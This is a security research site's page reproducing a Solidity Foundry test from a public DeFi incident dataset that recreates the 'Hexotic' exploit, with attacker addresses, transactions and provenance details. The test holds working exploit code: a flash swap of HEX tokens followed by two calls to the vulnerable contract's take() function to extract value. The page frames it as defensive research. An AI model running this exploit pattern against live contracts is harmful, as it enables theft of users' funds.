Public reproduction file
src/test/2025-08/Hexotic_exp.sol
Public reproduction file for dataset entry Hexotic.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 500 USD8// Attacker : https://etherscan.io/address/0x07185a9e74f8dceb7d6487400e4009ff76d1af469// Attack Contract : https://etherscan.io/address/0x6e0113c4f1de65b98381baa6443b20834b70d4c510// Vulnerable Contract : https://arbiscan.io/address/0x03339ecae41bc162dacae5c2a275c8f64d6c80a011// Attack Tx : https://etherscan.io/tx/0x23b69bef57656f493548a5373300f7557777f352ade8131353ff87a1b27e2bb313// @Info14// Vulnerable Contract Code : https://arbiscan.io/address/0x03339ecae41bc162dacae5c2a275c8f64d6c80a0#code16// @Analysis17// Post-mortem : https://t.me/defimon_alerts/175718// Twitter Guy : N/A19// Hacking God : N/A21interface IHexotic {22 function take(bytes32 id) external payable;23}25contract Hex is BaseTestWithBalanceLog {26 uint256 blocknumToForkFrom = 23260641 - 1;28 //address29 address constant uniswapV3HEXPool = 0x9e0905249CeEFfFB9605E034b534544684A58BE6;30 IWETH constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));31 IERC20 constant hexToken = IERC20(0x2b591e99afE9f32eAA6214f7B7629768c40Eeb39);32 // The address of the vulnerable 'Hexotic' contract.33 IHexotic hexotic = IHexotic(0x204B937FEaEc333E9e6d72D35f1D131f187ECeA1);35 function setUp() public {36 vm.createSelectFork("mainnet", blocknumToForkFrom);37 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit38 fundingToken = address(0);39 }41 function testExploit() public balanceLog {42 //// Fund the test contract with 0.1 ETH to pay for gas and initial transactions.43 vm.deal(address(this), 0.1 ether);44 WETH.deposit{value: 0.037 ether}();46 // Initiate a flash swap on the HEX Uniswap V3 Pool.47 IPancakeV3Pool(uniswapV3HEXPool).swap(address(this),false,37000000000000000,1461446703485210103287273052203988822378723970341,"0x00");49 hexToken.approve(address(hexotic), type(uint256).max);51 // Call the 'take' function on the vulnerable contract twice with specific IDs.52 // This is the core of the exploit. It leverages a vulnerability in the 'hexotic' contract53 // using the flash-loaned HEX tokens to extract value.54 hexotic.take(0x0000000000000000000000000000000000000000000000000000000000000043);55 hexotic.take(0x000000000000000000000000000000000000000000000000000000000000002b); 56 }57 receive() external payable {}59 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata /*_data*/) external {60 WETH.transfer(address(uniswapV3HEXPool), 37000000000000000);61 }62}Analysis
Dataset entry
Public Foundry test for “Hexotic” (2025-08-31). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/unverified_6f7a_exp.solSame month in the dataset · 229 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x07185a9e74f8dceb7d6487400e4009ff76d1af46
- Attack Contract
0x6e0113c4f1de65b98381baa6443b20834b70d4c5
- Vulnerable Contract
0x03339ecae41bc162dacae5c2a275c8f64d6c80a0
- Attack Tx
0x23b69bef57656f493548a5373300f7557777f352ade8131353ff87a1b27e2bb3
- Post: https://t.me/defimon_alerts/1757
- Explorer: https://etherscan.io/address/0x07185a9e74f8dceb7d6487400e4009ff76d1af46
- Explorer: https://etherscan.io/address/0x6e0113c4f1de65b98381baa6443b20834b70d4c5
- Explorer: https://arbiscan.io/address/0x03339ecae41bc162dacae5c2a275c8f64d6c80a0
- Explorer: https://arbiscan.io/address/0x03339ecae41bc162dacae5c2a275c8f64d6c80a0#code
File record
- Name
- Hexotic
- Path
- src/test/2025-08/Hexotic_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 0e0e5a9112bd5dffe2f626da9cfbb1fd696ef05f
- Language
- Solidity
- Size
- 62 lines
- Date
- 2025-08-31
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/Hexotic_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0e0e5a9112bd5dffe2f626da9cfbb1fd696ef05f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.